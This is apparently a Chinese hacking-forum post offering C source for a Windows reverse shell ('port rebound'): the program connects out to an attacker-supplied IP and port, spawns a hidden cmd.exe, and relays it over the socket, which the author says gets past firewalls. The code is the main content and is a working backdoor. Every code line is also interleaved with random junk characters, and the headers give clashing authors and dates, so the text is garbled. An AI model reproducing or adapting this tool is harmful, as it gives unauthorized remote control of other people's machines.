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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d{7 +w/Zi  
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/* ============================== & 9 ?\b7  
Rebound port in Windows NT [1 9,&]z  
By wind,2006/7 KyQX!,rV  
===============================*/ Hg$lXtn]  
#include w G<yBI0  
#include 46&/gehr  
/d<P-!fK  
#pragma comment(lib,"wsock32.lib") <HVt V9R  
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void OutputShell(); >s?S+W[L  
SOCKET sClient; :zF,A,)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'ub@]ru|  
.xWC{}7[  
void main(int argc,char **argv) OH(waKq2I  
{ =zKM=qba  
WSADATA stWsaData; =$Nq   
int nRet; e;}7G  
SOCKADDR_IN stSaiClient,stSaiServer; Ak"m 85B  
KNIn:K^/  
if(argc != 3) )f<z% :I+Z  
{ u^qT2Ss0  
printf("Useage:\n\rRebound DestIP DestPort\n"); ah+iZ}E%  
return; wx0j(:B]  
} X*@dj_,  
_t #k,;  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9c :cw  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ge-vWf-RbB  
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stSaiClient.sin_family = AF_INET; @7j AL-  
stSaiClient.sin_port = htons(0); `, Tz Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VZmLS 4E  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9e,0\J  
{ JB[~;nLlC  
printf("Bind Socket Failed!\n"); czRFMYE  
return; hp-<2i^"!  
} Y^EcQzLw  
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stSaiServer.sin_family = AF_INET; >_"an~Ss  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $6iX   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2)HuZda  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'F0e(He@,  
{ Ks`J([(W&  
printf("Connect Error!"); T !WT;A  
return; AogVF  
} !\.pq  2  
OutputShell(); jQ^|3#L\  
} *]/zc1Q4M  
wHMX=N1/  
void OutputShell() CD ( :jM?  
{ iN8zo:&Z  
char szBuff[1024]; M{T-iW"  
SECURITY_ATTRIBUTES stSecurityAttributes; *kDCliL  
OSVERSIONINFO stOsversionInfo; CxOob1@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ata:^qI  
STARTUPINFO stStartupInfo; EC!02S  
char *szShell; Hp!-248S  
PROCESS_INFORMATION stProcessInformation; ARwD~ Tr  
unsigned long lBytesRead; =BAW[%1b  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7XLtN "$$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vJc-6EO  
stSecurityAttributes.lpSecurityDescriptor = 0; 'RYIW/a  
stSecurityAttributes.bInheritHandle = TRUE; `1{ZqRFQ  
mtp+rr  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !_D0vI;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9YQb &  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z|j>gq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [KaAXv .X  
stStartupInfo.wShowWindow = SW_HIDE; <?}-$  
stStartupInfo.hStdInput = hReadPipe; V0.vQ/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d#rf5<i  
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GetVersionEx(&stOsversionInfo); dx{bB%?Y\=  
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switch(stOsversionInfo.dwPlatformId) (G4at2YLd  
{ Ed,~1GanY  
case 1: {19PL8B~}  
szShell = "command.com"; 1&evG-#<:  
break; +tIF h'  
default: >xYpNtEs  
szShell = "cmd.exe"; m6&~HfwN  
break; O/a4]r+_  
} l2rd9 -T  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uHvp;]/0\  
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send(sClient,szMsg,77,0); #+HJA42  
while(1) `nv~NLkl  
{ " H&W}N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \lf;P?M^  
if(lBytesRead) 5Y'qaIFR  
{  ~f1%8z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lVR~Bh  
send(sClient,szBuff,lBytesRead,0); _j/<{vSy  
} E=CsIK   
else E+R1 !.  
{ q`H_M{26!y  
lBytesRead=recv(sClient,szBuff,1024,0); mD0f<gJ1  
if(lBytesRead<=0) break; m=A(NKZ   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >G*eNn  
} foF({4q7b^  
} ](9Xvy  
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return; w QH<gJE/:  
}
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